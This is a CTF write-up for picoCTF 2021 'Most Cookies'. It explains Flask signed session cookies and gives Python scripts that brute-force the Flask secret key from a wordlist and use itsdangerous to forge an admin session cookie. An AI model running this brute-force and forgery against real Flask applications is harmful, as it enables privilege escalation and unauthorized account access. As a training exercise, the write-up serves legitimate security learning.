> For the complete documentation index, see [llms.txt](https://simon-6.gitbook.io/simoncyber/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://simon-6.gitbook.io/simoncyber/ctf-writeups/picoctf-2021/web-exploitation/most-cookies.md).

# Most Cookies

<figure><img src="/files/CpBJPbE18fdnEu68bT3B" alt=""><figcaption></figcaption></figure>

### What is Flask

Flask is a lightweight web (python) framework used to build web applications and APIs. It follows a minimal design and provides core features like routing, request handling and template rendering while allowing developers to add extensions as needed. It is widely used for building small to medium web applications due to its simplicity and flexibility.

Specifically, A **web framework** is a toolkit that handles the repetitive, low-level stuff of building web apps so you don't have to write it from scratch — things like routing URLs, handling HTTP requests/responses, managing sessions, etc.

* **Backend frameworks** (Flask, Django, Express, Rails) — run on the server. Handle business logic, databases, authentication, API responses. The user never sees this code directly.
* **Frontend frameworks** (React, Vue, Svelte) — run in the browser. Handle UI, interactivity, what the user actually sees.

But how does a framework really work?

<figure><img src="/files/K3vC3clZOq9bCnmquuAI" alt=""><figcaption></figcaption></figure>

### What is Flask Session Cookies

**Sessions** in [Flask](https://www.geeksforgeeks.org/python/flask-tutorial/) store user-specific data across requests, like **login status**, using [cookies](https://www.geeksforgeeks.org/python/flask-cookies/). Data is stored on the client side but signed with a secret key to ensure security. They help maintain user sessions without requiring constant authentication.

* **Sessions:** They are stored server-side and assigned to the user through a session ID. These are persistent across requests while being more secure as the data is never made available to the client.
* **Cookies:** They are client-side (users’ browser) storage. They are accessed on each request made by the user and can be edited by the user though in a controlled manner.

{% hint style="info" %}
A session makes it possible to remember information from one request to another. But web apps have another problem i.e. HTTP is stateless. The server forgets you after every request. So applications introduce sessions.
{% endhint %}

{% embed url="<https://medium.com/@arceuzvx/why-signed-cookies-are-not-authorization-a-flask-session-privilege-escalation-walkthrough-cab884ff8eb2>" %}

Because Flask only checks signature integrity, if you can generate a valid signature, the server will accept the cookie as legitimate. Specifically, Flask uses **HMAC-SHA1** (via `itsdangerous`) in a few steps:

```
{"very_auth": "admin"}  →  eyJ2ZXJ5X2F1dGgiOiJhZG1pbiJ9

key = HMAC-SHA1(secret_key, salt="cookie-session")
sig = HMAC-SHA1(key, payload)
sig = base64url(sig)

payload.timestamp.signature
eyJ2ZXJ5X2F1dGgiOiJhZG1pbiJ9.ZXh0.HMAC_SIG

eyJ2ZXJ5X2F1dGgiOiJibGFuayJ9.ag7GNQ.Dqfn3IYUWaj-kzEfFBz-Vp7T3UU (this is what the cookie looks like)
```

So basically, we can decode it, but we can't encode (with the signature at the end) if we don't have the the secret.&#x20;

### Solving It&#x20;

I couldn't find the server.py that would give the information needed to encode our session cookie: so I searched it online on Github.

{% @github-files/github-code-block url="<https://github.com/HHousen/PicoCTF-2021/blob/master/Web%20Exploitation/Most%20Cookies/server.py>" %}

Basically we see that the secret\_key is choice a randomization of a the array of cookies. Seems like we just need to brute force each single option then! Let's first of all copy the cookie from devtools.

<figure><img src="/files/nN5eYGpggHxLPoMQTMhd" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/zQY9OACVB1Uk1xGreAi8" alt=""><figcaption></figcaption></figure>

After we plug it in, we can see it follows a simple json format. We'll change the cookie name to "admin" and encode it in base64.&#x20;

<figure><img src="/files/zIQVPpecQgxaevBboRcV" alt=""><figcaption></figcaption></figure>

(eyJ2ZXJ5X2F1dGgiOiJhZG1pbiJ9)

Once we done this, we'll need to create a short script to sign this cookie. We'll just create a txt file containing our cookies

```python
from flask import Flask
from flask.sessions import SecureCookieSessionInterface

cookie = "eyJ2ZXJ5X2F1dGgiOiJzbmlja2VyZG9vZGxlIn0.ag7NMg.McvxLrEnlRkLkVHmPW_L5CHDDgI"

cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]

for key in cookie_names:
    app = Flask(__name__)
    app.secret_key = key
    ##Spin up a dummy Flask app with each key to test it.
    s = SecureCookieSessionInterface().get_signing_serializer(app)
    ## app.secret_key is baked into s HERE
    ##Get Flask's built-in signer using that key.
    try:
        s.loads(cookie)
        ##recalculates the signature cookie with the secret, then compares - raises a error if not
        print(f"[+] Found secret key: {key}")
        break
    except:
        pass
```

<figure><img src="/files/h6Cg3DyzPnyamA6dVl0f" alt=""><figcaption></figcaption></figure>

```python
from itsdangerous import URLSafeTimedSerializer
##Import the signing library Flask uses internally. No Flask needed — just the raw tool.

s = URLSafeTimedSerializer("peanut butter", salt="cookie-session")
##s = URLSafeTimedSerializer("peanut butter", salt="cookie-session"), pb becames the secret
forged = s.dumps({"very_auth": "admin"})
print(forged)
```

<figure><img src="/files/9ypQkapboMUFIaP0AqVA" alt=""><figcaption></figcaption></figure>

If we put this in, it all works!&#x20;
